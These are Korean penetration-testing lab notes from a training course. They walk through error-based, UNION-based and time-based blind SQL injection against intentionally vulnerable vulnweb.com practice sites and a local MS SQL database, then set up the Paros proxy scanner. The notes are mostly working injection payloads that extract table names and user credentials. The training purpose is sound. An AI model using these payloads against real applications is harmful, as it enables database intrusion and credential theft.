http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL


(NULL 5개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL


(NULL 6개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL


(NULL 7개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL


(NULL 8개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL


(NULL 9개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL


(NULL 10개일때) 에러 발생

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL


(NULL 11개일때) 에러 없음

http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL

-> 11개의 NULL 패턴 사용시 에러가 발생되지 않았기 때문에 해당 테이블의 필드는 11개로 짐작할 수 있다.


③ 데이터베이스 계정 추출(사용자 정보)하기


11개의 필드 확인

null 필드 대신 user() 함수를 넣는다.


http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT NULL, user(), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#

-> 계정 정보가 보인다.



다른 방법을 통해 계정 정보를 확인해 보자.

UNION 쿼리 대신 그룹키 에러를 통한 정보 획득 방법을 테스트 해 보자.


http://testphp.vulnweb.com/listproducts.php?cat=1 AND (select 3111 from ( select sum(5),111,222,FLOOR(RAND(0)*2) as a from information_schema.tables group by a ) aaa);

Error: Duplicate entry '1' for key 'group_key' Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74

-> 위와 같은 에러메세지가 출력된다.


위의 문장을 사용하기 위해서 다음과 같은 과정을 진행한다.


http://testphp.vulnweb.com/listproducts.php?cat=1 AND (select 3111 from aaa);

Error: Table 'acuart.aaa' doesn't exist Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74

-> 에러 메세지가 발생하도록 존재하지 않는 테이블(EX: aaa)과 필드(EX: 3111)을 사용했다.



http://testphp.vulnweb.com/listproducts.php?cat=1 AND (select sum(5), (111,222,FLOOR(RAND(0)*2)) as a from information_schema.tables group by a);

Error: Operand should contain 1 column(s) Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74

-> 서브쿼리 구조가 잘못되었을때 발생하는 "Operand should ....." 에러가 발생한다.

-> RAND() 함수는 랜덤값을 생성하기 위한 함수이고, FLOOR() 함수는 입력된 값 중 가장 큰 정수값을

   제공하는 함수이다.


http://testphp.vulnweb.com/listproducts.php?cat=1 AND (select 3111 from ( select sum(5), concat(111,222,FLOOR(RAND(0)*2)) as a from information_schema.tables group by a ) aaa);

Error: Duplicate entry '1112221' for key 'group_key' Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74




http://testphp.vulnweb.com/listproducts.php?cat=1 AND (select 3111 from ( select sum(5), concat(user(),222,FLOOR(RAND(0)*2)) as a from information_schema.tables group by a ) aaa);

Error: Duplicate entry 'acuart@localhost2221' for key 'group_key' Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74

-> 위와 같이 에러 메세지를 통해 중요정보를 확인할 수 있다.

-> 이 방법은 MySQL 사이트 공격을 위해 널리 사용되는 패턴이다.

-> 기타 다양한 패턴등이 존재하므로 검색을 통해 공부하기 바란다.



또 다른 방법을 통해 정보를 확인해 본다.

NULL 패턴 대신, 일련 번호 1부터 11까지 대입해 본다.


http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11#

-> 전제 필드 중 3개의 필드(7, 2, 9)만 사용이 가능하다는 것을 알수 있다.


http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT 1,2,3,4,5,6,user(),8,9,10,11#

-> 7 필드 자리에 사용자 정보가 표시되는 것을 확인할 수 있다.




④ version() 함수를 사용하여 DBMS 버전 확인하기


http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT 1,2,3,4,5,6,version(),8,9,10,11#

-> 버전 정보를 확인할 수 있다.


⑤ 사용자 계정과 암호를 확인하기

사용자 계정과 암호가 들어 있을만한 테이블과 필드를 찾는다.


테이블 정보가 포함된 information_schema.tables를 사용하고 필드는 table_name, where 조건절에는 현재 데이터베이스를 선택한다.


http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select  1, group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()#

-> 출력 결과 "artists,carts,categ,featured,guestbook,pictures,products,users" 중 users 테이블

   에 사용자 정보가 들어 있을 가능성이 높다.




컬럼 정보(column_name)를 가지고 있는 information_schema.columns을 from 절에서 사용하고, where 조건절에는 users 테이블을 넣어서 실행한다.


http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select  1, group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name='users'#

-> 출력된 정보 중 사용자 이름은 uname 필드에 암호는 pass 필드에 들어 있을 것으로 추정된다.



사용자 계정을 포함하고 있을 것으로 추정되는 uname을 select 한다.


http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select  1, uname,3,4,5,6,7,8,9,10,11 from users#

-> 사용자 계정이 'test'라는 것을 확인했다.










http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 union select  1, pass,3,4,5,6,7,8,9,10,11 from users#

-> test 사용자의 암호가 'test'라는 것을 알수 있다.





(복원) APM 서비스 중지

<CTRL + SHIFT + ESC> => <서비스> 탭 => 오른쪽 하단 "<서비스>"

        서비스 이름: APM_APCHE5, APM_MYSQL5

        -> 서비스 중지













[실습4] MS SQL DB 공격 쿼리테스트


(준비사항)

MS SQL 2012 Express 설치(on Windows 7)


(프로그램 다운로드)

http://www.microsoft.com/en-us/sqlserver/editions/2012-editions/express.aspx

-> MS Site 가입을 먼저 해야 한다.

-> 다운로드 받아야 하는 프로그램은 2가지이다.

   - SQL_Server_2014_Express_with_Tools_64Bit

   - SQL_Server_2014_Management_Studio_Express_64Bit

-> 2개의 프로그램을 받아 설치한다.


(프로그램 직접 다운로드 받는 사이트)

http://www.microsoft.com/en-us/download/details.aspx?id=29062


프로그램 설치는 교육용 교재를 참고한다.



■ MS SQL 2012 Express 설치 후 프로그램 실행

시작 > 모든 프로그램 > Microsoft SQL Server 2012 > SQL Server Management Studio


■ 프로그램이 실행된 후 SQL Server Management Studio에서 DB 생성

데이터베이스 > 오른쪽 마우스 클릭 > 새 데이터베이스 > 새로운 DB 이름: test



① 생성된 DB test 사용


use test;


② 테이블 생성(EX: test, users, bbs)


create table test

(

id int not null,

name varchar(20) not null,

password varchar(20) not null

);


create table users

(

id int not null,

name varchar(20) not null,

password varchar(20) not null

);


create table bbs

(

id int not null,

name varchar(20) not null,

password varchar(20) not null

);





③ 생성된 테이블 test에 데이터 입력하기


insert into test values(1, 'charlie', '123456');


insert into test values(2, 'blade', 'qwert');


insert into test values(3, 'conco', '1234qwert');


다음과 같이 정상적으로 데이터 입력이 되었는지 확인한다.


select * from test;


출력된 내용은 다음과 같다.



구성된 DB에 SQL Injection 테스트를 해 보자.


① 에러유출을 통한 취약점 확인


select * from test where id=1'

메시지 105, 수준 15, 상태 1, 줄 1

문자열 ''의 따옴표가 짝이 맞지 않습니다.

-> 특수문자(') 삽입에 따른 에러 발생여부에 따라 취약점이 있다고 판단이 된다.


② 인증 우회 하기


select * from test where id ='1' or 'a'='a';


③ having and group by를 사용하여 에러유도 및 DB 정보 유출하기


select * from test where id='1' having 1=1--

-> 에러 정보 중에서 test.id(테이블.컬럼) 정보를 얻을 수 있다.


위에서 얻은 정보(test.id)를 제외하고 다른 정보를 얻기 위해 group by test.id 형식을 사용한다.


select * from test where id='1' group by test.id having 1=1--

-> 에러 정보 중에서 test.name(테이블.컬럼) 정보를 얻을 수 있다.


위에서 얻은 정보(test.id, test.name)를 제외하고 다른 정보를 얻기 위해서 group by test.id, test.name 형식을 사용한다.


select * from test where id='1' group by test.id, test.name having 1=1--

-> 에러 정보 중에서 test.password(테이블.컬럼) 정보를 얻을 수 있다.

만약 다음과 같이 정상적으로 출력이 된다면 더이상 필드 정보가 없다고 판단할 수 있다.

select * from test where id='1' group by test.id, test.name, test.password having 1=1--


④ convert() 함수를 통한 에러유도 및 정보 유출


@@version을 이용하여 DB 정보(DB 버전 정보) 확인하기

select * from test where id='1' and '1'=convert(int,@@version)--

-> 에러 출력 결과에 'Micorsoft SQL Server 2014 - 12.0.2000.8 (x86)' 정보를 확인할 수 있다.


db_name() 함수를 이용하여 DB 정보(테이블 이름) 확인하기

select * from test where id='1' and '1'=convert(int,db_name())--

-> 에러메세지 출력결과에 테이블 이름(test)를 확인할 수 있다.


user_name() 함수를 이용하여 DB 정보(DB 사용자 이름) 확인하기

select * from test where id='1' and '1'=convert(int,user_name())--

-> 에러메세지 출력결과에 현재 사용자(dbo) 정보를 확인할 수 있다.




information_schema.tables의 table_name를 이용하여 DB 정보(테이블 이름) 확인

select * from test where id='1' and '1'=convert(int,(select top 1 table_name from information_schema.tables))--

-> 에러메세지 출력결과에 테이블(users) 이름을 확인할 수 있다.


검색된 결과(test 테이블)를 제외하고 다른 테이블에 대한 정보를 요청한다.

select * from test where id='1' and '1'=

convert(int,(select top 1 table_name from information_schema.tables

where table_name not in ('test')))--

-> 에러메세지 출력결과에 다른 테이블(users) 이름을 확인할 수 있다.


검색된 결과(test, users 테이블)를 제외하고 다른 테이블에 대한 정보를 확인한다.

select * from test where id='1' and '1'=

convert(int,(select top 1 table_name from information_schema.tables

where table_name not in ('test', 'users')))--

-> 에러메세지 출력결과에 다른 테이블(bbs) 이름을 확인할 수 있다.


검색된 결과(test, users, bbs 테이블)를 제외하고 다른 테이블에 대한 정보를 확인한다.

select * from test where id='1' and '1'=

convert(int,(select top 1 table_name from information_schema.tables

where table_name not in ('test', 'users', 'bbs')))--

-> 에러 없이 정상적인 출력 결과가 나오기 때문에 추가적인 테이블은 없는 것으로 판단할 수 있다.


⑤ 필드 이름(columes name) 확인하기

필드 정보를 포함하는 information_schema.columns과 필드 이름을 제공하는 column_name을 사용

select * from test where id='1' and '1'=

convert(int,(select top 1 column_name from information_schema.columns

where table_name='test'))--

-> 에러 메세지 출력 결과에 필드(id) 이름을 확인할 수 있다.

확인된 id라는 필드를 제외한 추가 필드를 확인한다.

select * from test where id='1' and '1'=

convert(int,(select top 1 column_name from information_schema.columns

where table_name='test' and column_name not in ('id')))--

-> 에러 메세지 출력 결과에 필드(name) 이름을 확인할 수 있다.


확인된 id, name 필드를 제외한 추가 필드를 확인한다.

select * from test where id='1' and '1'=

convert(int,(select top 1 column_name from information_schema.columns

where table_name='test' and column_name not in ('id', 'name')))--

-> 에러 메세지 출력 결과에 필드(password) 이름을 확인할 수 있다.


확인된 id, name, password 필드를 제외한 추가 필드를 확인한다.

select * from test where id='1' and '1'=

convert(int,(select top 1 column_name from information_schema.columns

where table_name='test' and column_name not in ('id', 'name', 'password')))--

-> 에러 없이 정상적인 출력 결과가 나오기 때문에 추가적인 필드는 없는 것으로 판단할 수 있다.


필드의 저장 정보를 확인 확인한다.

select * from test where id='1' and '1'=convert(int,(select top 1 name from test))--

-> 에러 메세지의 출력 결과에 test 테이블에 들어 있는 name 필드의 값이 charlie로 되어 있는 것을 확인할 수 있다.


확인된 name 필드의 값(charlie)을 제외한 다른 정보 확인

select * from test where id='1' and '1'=

convert(int,(select top 1 name from test where name not in ('charlie')))--

-> 에러 메세지의 출력 결과에 test 테이블에 들어 있는 name 필드의 다른 값이 blade로 되어 있는 것을 확인할 수 있다.

확인된 name 필드의 값(charlie, blade)을 제외한 다른 정보 확인

select * from test where id='1' and '1'=

convert(int,(select top 1 name from test where name not in ('charlie', 'blade')))--

-> 에러 메세지의 출력 결과에 test 테이블에 들어 있는 name 필드의 다른 값이 conco로 되어 있는 것을 확인할 수 있다.


확인된 name 필드의 값(charlie, blade, conco)을 제외한 다른 정보 확인

select * from test where id='1' and '1'=

convert(int,(select top 1 name from test

where name not in ('charlie', 'blade', 'conco')))--

-> 에러 없이 정상적인 출력 결과가 나오기 때문에 추가적인 필드는 값은 없는 것으로 판단할 수 있다.


⑥ order by를 통한 필드 개수 확인

select * from test where id=1 order by 1--


select * from test where id=1 order by 2--


select * from test where id=1 order by 3--


select * from test where id=1 order by 4--

-> 에러가 발생하므로 필드의 개수는 3개임을 판단할 수 있다.



⑦ 부정조건과 함께 사용되는 union 쿼리

"6번 테스트" 결과에서 필드의 개수가 3개임을 확인했다. 따라서 union 쿼리를 사용할 수 있다. 아래와 부정조건과 함께 사용되는 union select 사용해 보자.


select * from test where id=1 and 1=2 union select 11,22,33--


⑧ union을 통한 버전 정보 확인하기

select * from test where id=1 and 1=2 union select 11,22,@@version--

-> 첫번째나 두번째 필드에 @@version를 사용해도 된다.


⑨ union을 이용한 테이블 목록 확인

information_schema.tables와 table_name을 이용하여 bbs, test, users 테이블를 확인한다.

select * from test where id=1

and 1=2 union select 11,22,table_name from information_schema.tables--

-> 3번째 필드에 table 정보(bbs, test, users)를 확인할수 있다.


⑩ union을 이용한 컬럼(column) 목록 확인

information_schema.columns와 column_name을 이용하여 test 테이블의 컬럼을 확인한다.

select * from test where id=1 and 1=2

union select 11,22,column_name from information_schema.columns where table_name='test'--

-> 출력 결과 중 3번째 필드에 test 테이블의 각 컬럼(id, name, password)을 확인할 수 있다.




⑪ 각 컬럼의 값 확인

select * from test where id=1 and 1=2 union select 11,22,name from test--

-> 출력 결과 중 3번째 필드에 test 테이블의 name 컬럼에 존재하는 값을 확인할 수 있다.


select * from test where id=1 and 1=2 union select 11,22,password from test--

-> 출력 결과 중 3번째 필드에 test 테이블의 password 컬럼에 존재하는 값을 확인할 수 있다.




[실습5] MSSQL DB 공격을 통한 데이터베이스 정보 추출1


대상 시스템

- http://testaspnet.vulnweb.com


테스트 도구

- 웹브라우저



■ 웹에 접속


http://testaspnet.vulnweb.com 사이트 접속


상단 메뉴의 "news"을 선택

화면 중간에 "Web Attacks - Can Your Web Applications Withstand The Force?" 선택

그럼 다음과 같은 화면이 나온다.








① 에러 기반의 SQL Injection(Error-based SQL Injection)


SQL Injection 취약성 테스트

-> URL 부분에 특수문자(')를 입력한다.


http://testaspnet.vulnweb.com/ReadNews.aspx?id=2'

-> 에러 메세지가 나오지 않는다. 따라서 에러기반 SQL Injection을 사용할 수는 없는것 같다.


② Blind SQL Injection


에러 메세지가 나오지 않으므로 Blind SQL Injection 테스트가 가능하지 아래와 같이 확인한다.


http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 and 1=1


http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 and 1=0

-> 정상적으로 쿼리가 수행되지 않는것 같다. 따라서, 공격 가능성이 있다고 판단한다.


③ 타임기반의 Blind SQL Injection을 통해 데이터베이스 종류 확인


        DB 종류 확인

        * MySQL : sleep() 함수 사용

        * MS-SQL : waitfor delay 함수 사용


http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 select sleep(5) --

-> 정보가 없는 페이지만 출력되는것으로 판단하여 sleep() 함수가 동작하지 않는것 같다. 따라서, DB 서버가 MySQL은 아닌것 같다.





http://testaspnet.vulnweb.com/ReadNews.aspx?id=2; waitfor delay '0:0:5'

-> 웹브라우저의 왼쪽 하단을 보면 5초 뒤에 이 페이지가 정상적으로 보여 진다는 것을 알수 있으므로 DB 서버는 MS-SQL 인것으로 판단할 수 있다.






[실습6] MS-SQL DB 공격을 통한 데이터베이스 정보 확인


테스트 대상 : http://testasp.vulnweb.com

테스트 도구 : 웹브라우저



다음 사이트에 접속해 보자.

- http://testasp.vulnweb.com/showforum.asp?id=2


① 필드 개수 확인

http://testasp.vulnweb.com/showforum.asp?id=2 order by 1--

http://testasp.vulnweb.com/showforum.asp?id=2 order by 2--

http://testasp.vulnweb.com/showforum.asp?id=2 order by 3--

-> order by 3-- 입력했을때 에러가 발생된다. 따라서 테이블안의 컬럼 개수가 2개인것을 확인할 수 있다.

② union select 사용하여 버전 정보 확인

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select 11,22--

-> 에러 메세지안에 '11'이 보이기 때문에 첫번째 필드만을 사용하여 정보를 획득해야 한다.

11

Microsoft SQL Native Client error '80040e14'

 

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

 

/showforum.asp, line 120


http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select @@version,22--

-> Microsoft SQL Server 2005 알수 있다.






③ 테이블 정보 확인

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select table_name, 22 from information_schema.tables--

-> 테이블 이름이 forums 인것을 확인할 수 있다.


④ 사용자가 만든 테이블 전체 확인

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select count(*), 22 from sysobjects where xtype=0x55

-> count() 함수는 사용자 테이블의 개수를 확인할 때 사용한다.

-> 사용자의 테이블 개수가 4개임을 확인할 수 있다.







⑤ 4개 사용자 테이블의 문자열이 길이 확인

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55

-> 첫번째 테이블 이름의 길이는 7자리임을 알수 있다.


두번째 테이블을 검색해 보자.

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55 and name not in (select top 1 name from sysobjects where xtype=0x55)

-> 두번째 테이블의 이름은 5자리임을 알수 있다.




세번째 테이블에 대해서 확인해 보자.

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55 and name not in (select top 2 name from sysobjects where xtype=0x55)

-> 세번째 테이블 이름의 길이는 6자리임을 알수 있다.


네번째 테이블(마지막 테이블)에 대해서 확인해 보자.

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55 and name not in (select top 3 name from sysobjects where xtype=0x55)

-> 네번째 테이블의 이름의 길이는 5개임을 알수 있다.






지금까지 확인된 정보를 정리하면 다음과 같다.


---------------------------------------------------------

            문자열 길이  검색조건

---------------------------------------------------------

첫번째 테이블    7       select top 1 len(name)

---------------------------------------------------------

두번째 테이블    5       select top 1 len(name) ....

                        name not in (select top 1 name

---------------------------------------------------------

세번째 테이블    6       select top 1 len(name) ....

                        name not in (select top 2 name

---------------------------------------------------------

네번째 테이블    5       select top 1 len(name)

                        name not in (select top 3 name

---------------------------------------------------------


⑥ 4개의 사용자 테이블 이름 추출

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55

-> 첫번째 테이블 이름은 threads 라는것을 확인할 수 있다.


http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55 and name not in ('threads')--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55 and name not in ('threads', 'users')--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55 and name not in ('threads', 'users', 'forums')--



⑦ users 테이블의 필드 개수 확인


http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 count(*), 22 from syscolumns where id=(select id from sysobjects where name='users')--



⑧ users 테이블의 필드 확인


http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users')--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname')--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname', 'upass')--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname', 'upass', 'email')--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname', 'upass', 'email', realname')--


⑨ users 테이블의 users, upass 필드 정보 확인


http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 uname, 22 from users--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 uname, 22 from users

where uname not in (select top 1 uname from users)--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 uname, 22 from users

where uname not in (select top 140 uname from users)--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 upass, 22 from users

where uname='admin'--





(원복) 서비스 종료

<CTRL + SHIFT + ESC> => 서비스 탭 => 오른쪽 하단의 "서비스"

        서비스 이름:

                SQL Server,

                SQL Browser,

                SQL Server VSS Writer



■ JDK 설치(환경변수 설정)

■ ANT 설치(환경변수 설정)

■ 파로스(Paros) 설치

■ 파로스 proxy 설정

■ 웹브라우저 proxy 서버 지정



준비 사항

\\172.16.13.1\CD & DVD\Paros 디렉토리안의 프로그램을 사용한다.



① JDK 설치

기존에 설치되어 있는 JDK 64bit 삭제하고 32bit를 설치한다.


(Optinal) 미리 64bit JDK 설치된 경우는 JDK 64bit 프로그램 삭제

        제어판 > 프로그램 및 기능 > "Java 8 Update 31" > 제거 > 예


■ JDK 32bit 설치

삭제가 완료되었다면 Paros 디렉토리안의 JDK 32bit(EX: jdk-8u25-windows-i586)를 사용하여 설치한다.

설치과정에서 확인한 설치된 디렉토리와 bin 디렉토리
(EX:
C:\Program Files (x86)\Java\jdk1.8.0_25\bin)


■ JDK 환경 변수(Path) 설정

내컴퓨터 > 속성 > 고급 시스템 설정 > 환경 변수 > "Path" 변수 선택 >
C:\Program Files (x86)\Java\jdk1.8.0_25\bin;C:\ProgramData\Oracle\Java\javapath;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;C:\APM_Setup\Server\Apache\bin;C:\APM_Setup\Server\MySQL5\bin;C:\APM_Setup\Server\PHP5;c:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\;c:\Program Files (x86)\Microsoft SQL Server\110\DTS\Binn\;c:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\ManagementStudio\


■ JDK 설치 확인

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

 

C:\Users\soldesk>java -version

java version "1.8.0_25"

Java(TM) SE Runtime Environment (build 1.8.0_25-b18)

Java HotSpot(TM) Client VM (build 25.25-b02, mixed mode, sharing)


② ANT 설치


■ ANT 다운로드

http://ant.apache.org/bindownload.cgi

파일이름: apache-ant-1.9.4-bin.zip



■ ANT 압축해제

압축해제된 디렉토리(EX: C:\apache-ant-1.9.4)


■ ANT 환경변수(EX: Path) 설정

내컴퓨터 > 속성 > 고급 시스템 설정 > 환경 변수 > Path 변수 선택 >
C:\apache-ant-1.9.4\bin;C:\Program Files (x86)\Java\jdk1.8.0_25\bin;C:\ProgramData\Oracle\Java\javapath;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;C:\APM_Setup\Server\Apache\bin;C:\APM_Setup\Server\MySQL5\bin;C:\APM_Setup\Server\PHP5;c:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\;c:\Program Files (x86)\Microsoft SQL Server\110\DTS\Binn\;c:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\ManagementStudio\


■ 설정 확인

C:\Users\soldesk> ant

Buildfile: build.xml does not exist!

Build failed

-> ant 실행이 정상적으로 되고 있다. 위의 에러 메세지는 ant가 build.xml 파일이 없는데에서 실행했기 때문이다. 설치는 정상적으로 된것으로 판단된다.



③ 파로스 설치


■ 파로스 다운로드


■ 파로스 압축해제

압축 해제된 디렉토리(EX: C:\paros-3.2.13-src)


■ 에러나는 파일 설정/변경

C:\paros-3.2.13-src\paros\src\org\parosproxy\paros\extension\history\HistoryFilterDialog.java -> 파일 변경

[수정전]

 * Created on 2004?7ㅻ23ㅹ

[수정후]

// * Created on 2004?7ㅻ23ㅹ


C:\paros-3.2.13-src\paros\src\org\parosproxy\paros\extension\history\LogPanel.java

-> 파일 변경

[수정전]

 * Created on 2004?7ㅻ4ㅹ

[수정후]

// * Created on 2004?7ㅻ4ㅹ


■ 파로스 build(ant 실행)

C:\Users\soldesk> cd C:\paros-3.2.13-src\paros\build

C:\paros-3.2.13-src\paros\build> ant

Buildfile: C:\paros-3.2.13-src\paros\build\build.xml

 

init:

   [delete] Deleting directory C:\paros-3.2.13-src\paros\build\build

    [mkdir] Created dir: C:\paros-3.2.13-src\paros\build\build

 

compile:

    [javac] C:\paros-3.2.13-src\paros\build\build.xml:23: warning: 'includeantru

ntime' was not set, defaulting to build.sysclasspath=last; set to false for repe

atable builds

    [javac] Compiling 258 source files to C:\paros-3.2.13-src\paros\build\build

    [javac] Note: Some input files use or override a deprecated API.

    [javac] Note: Recompile with -Xlint:deprecation for details.

    [javac] Note: Some input files use unchecked or unsafe operations.

    [javac] Note: Recompile with -Xlint:unchecked for details.

 

dist:

    [mkdir] Created dir: C:\paros-3.2.13-src\paros\build\paros

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros

     [copy] Copying 7 files to C:\paros-3.2.13-src\paros\build\build\resource

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\build\xml

     [copy] Copying 14 files to C:\paros-3.2.13-src\paros\build\paros\xml

     [copy] Copying 8 files to C:\paros-3.2.13-src\paros\build\paros\db

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros\filter

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros\plugin

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros\session

     [copy] Copying 6 files to C:\paros-3.2.13-src\paros\build\paros\license

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros\log

     [copy] Copying 13 files to C:\paros-3.2.13-src\paros\build\paros

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros

      [jar] Updating jar: C:\paros-3.2.13-src\paros\build\paros\paros.jar

 

BUILD SUCCESSFUL

Total time: 5 seconds

-> C:\paros-3.2.13-src\paros\build\paros\paros.jar 파일이 생성된다.

-> 새로운 룰을 만들면 paros.jar 파일을 새로 만들어야 한다.(ant 명령어를 다시 돌려야 한다.)






④ 파로스 proxy 설정


파로스를 실행한다.

(명령어 창에서 수행 방법)
c:\Users\soldesk> cd c:\paros-3.2.13-src\paros\build\paros
c:\paros-3.2.13-src\paros\build\paros> java -jar paros.jar

(윈도우 환경에서 실행 방법)
c:\paros-3.2.13-src\paros\build\paros 디렉토리로 이동하여 paros.jar 파일을 더블 클릭
->
(권장) 바탕화면의 아이콘으로 만들면 좋다. -> 바로가기 아이콘을 생성한다.




상단 메뉴 중 "Tools" > "Options" > "Local proxy" > OK

        Local proxy 설정은 다음과 같이 한다.

        -----------------------------------------------

        Address (eg localhost, 127.0.0.1)  : localhost

        Port (eg 8080)                   : 8000

        -----------------------------------------------






⑤ 웹브라우저에서 paros proxy 지정


(주의) 실행된 paros는 종료하면 안된다.(proxy 서버이기 때문에)


웹브라우저 실행(IE 기준)


도구 > 인터넷 옵션 > 연결 > LAN 설정 >

        웹브라우저 설정은 다음과 같이 한다.

        ------------------------------------

        주소(E) : 127.0.0.1

        포트(T) : 8000

        ------------------------------------


웹브라우저의 설정이 끝났다면 웹브라우저에서 www.google.com 입력하고 paros 쪽에서 확인한다.


불필요한 정보는 "Purge (from DB)"을 선택하여 삭제한다.




⑥ 모의 테스트 1 (웹 스캐너를 통한 간단한 점검)


(웹브라우저에서) 모의 테스트 대상이 되는 http://testasp.vulnweb.com 접속한다.


testasp.vulnweb.com 사이트를 선택한 상태에서

Analyse > Spider

선택하여 대상 사이트의 정보수집(spider)를 수행한다.

반드시 "Start" 버튼을 눌러야 정보수집(spider)가 시작된다.




Analyse > Scan Policy > Plugin Category > Injection > OK

        테스트 하고 싶은 룰을 선택(기본적으로 모든 룰에 대한 부분이 체크되어 있다.)

아래 그림과 같이 나온다.



다음과 같이 취약점을 스캔한다.

Analyse > Scan

-> 점검하는데 약간을 시간이 걸린다.(약 3분 ~ 5분정도)

-> 현재 점검에서는 195초(약 3분정도) 걸렸다.


점검 결과인 하단을 보면 Alerts 부분의 High로 표시된 곳에

        http://testasp.vulnweb.com/showforum.asp?=2'INJECTED_PARAM

        http://testasp.vulnweb.com/showthread.asp?=3'INJECTED_PARAM

표시된것을 확인할 수 있다.





0.hwp1. 서브쿼리.hwp2. MSSQL.hwp3. 자동진단.hwp


'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160830 XML, CRLF, XSS Injection  (0) 2016.08.31
